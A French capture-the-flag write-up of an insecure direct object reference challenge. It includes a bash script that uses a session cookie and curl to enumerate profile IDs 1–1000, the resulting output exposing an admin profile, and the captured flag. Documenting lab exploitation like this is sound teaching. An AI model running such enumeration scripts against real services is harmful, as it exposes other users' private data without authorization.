Insecure Direct Object Reference (IDOR)
Consignes
Aucune pour ce niveau
Réalisation
Sur le site, j'ai l'option de cliquer sur /register
ce qui me permet de renseigner un nom de compte.
J'observe une fois connecté que l'URL contient mon numéro d'ID :
http://ctfdLink.com/profile/494
Je vais donc tester les ID un par un, mais à l'aide d'un script, je ne suis pas fou.
Donc voici mon script ìdor_scan.sh
:
#!/bin/bash
URL="http://ctfd-0.int.ecole2600.com:47738/profile/"
COOKIE="session=eyJ1c2VyX2lkIjo0OTR9.aBvQQg.j43d6jKzVuVB8ZlTrHNuWBu4LWo"
for id in {1..1000}; do
echo "[*] Testing ID $id"
curl -s -b "$COOKIE" "$URL$id" | grep -Ei "Username|Email|Profile|Flag" && echo ">> ID $id found interesting"
done
Ce code test tous les IDs de 1 à 1000 et me renvoit le résultat de chacun d'entre eux. Je peux donc observer parmis les id ne possédant pas de profile ces IDs qui ressortent :
[*] Testing ID 100
<h2>Profile of john.doe</h2>
>> ID 100 found interesting
[*] Testing ID ...
[*] Testing ID 250
<h2>Profile of admin</h2>
<p>Flag: 2600{9ECdeslrxlW5bI11amohHA}</p>
>> ID 250 found interesting
Nous pouvons donc observer ici le FLAG du challenge :
2600{9ECdeslrxlW5bI11amohHA}
Last updated